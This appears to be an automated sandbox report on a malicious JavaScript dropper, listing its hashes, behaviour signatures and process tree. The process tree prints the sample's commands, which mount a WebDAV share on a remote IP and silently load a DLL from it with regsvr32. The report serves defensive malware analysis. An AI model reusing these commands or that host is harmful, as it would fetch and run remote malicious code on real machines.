Analysis

  • max time kernel
    124s
  • max time network
    132s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240704-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240704-enlocale:en-usos:windows10-2004-x64system
  • submitted
    08/07/2024, 18:56

General

  • Target

    129414081202625224.js

  • Size

    5KB

  • MD5

    1083c024b02557224749c51f50b06a9d

  • SHA1

    e951fab00ffcf65e15d7e67f9b3a76ab3e31961e

  • SHA256

    2e2e639d7ee062b6094de0e2bd5225abce38390ef683f862309abfe8c9348fe8

  • SHA512

    bb604848f46996433e6531fa0249b7b9d7933a3c5c50a36e1ceb91d4fee9cc6f2353ef7aa91c0a32d481fead9afb72c5d11af05cfae2e6c8a6314c89f88bbe2d

  • SSDEEP

    96:u3nY6cF0M1awwwllOolKNwwllOi/hOLPSXKpQ3nahlDs3ea+gw3a3N0v3atkNv3J:u3nYfFk2llOoEllOi/eq3ahlDs3exr3t

Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\129414081202625224.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2416
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k copy "C:\Users\Admin\AppData\Local\Temp\129414081202625224.js" "C:\Users\Admin\\eykish.bat" && "C:\Users\Admin\\eykish.bat"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2576
      • C:\Windows\system32\net.exe
        net use \\45.9.74.13@8888\DavWWWRoot\
        3⤵
          PID:4456
        • C:\Windows\system32\regsvr32.exe
          regsvr32 /s \\45.9.74.13@8888\DavWWWRoot\892.dll
          3⤵
            PID:3096
      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=4080,i,5019894817651309870,579021928995875068,262144 --variations-seed-version --mojo-platform-channel-handle=3852 /prefetch:8
        1⤵
          PID:3248

        Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

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        Downloads

        • C:\Users\Admin\eykish.bat

          Filesize

          5KB

          MD5

          1083c024b02557224749c51f50b06a9d

          SHA1

          e951fab00ffcf65e15d7e67f9b3a76ab3e31961e

          SHA256

          2e2e639d7ee062b6094de0e2bd5225abce38390ef683f862309abfe8c9348fe8

          SHA512

          bb604848f46996433e6531fa0249b7b9d7933a3c5c50a36e1ceb91d4fee9cc6f2353ef7aa91c0a32d481fead9afb72c5d11af05cfae2e6c8a6314c89f88bbe2d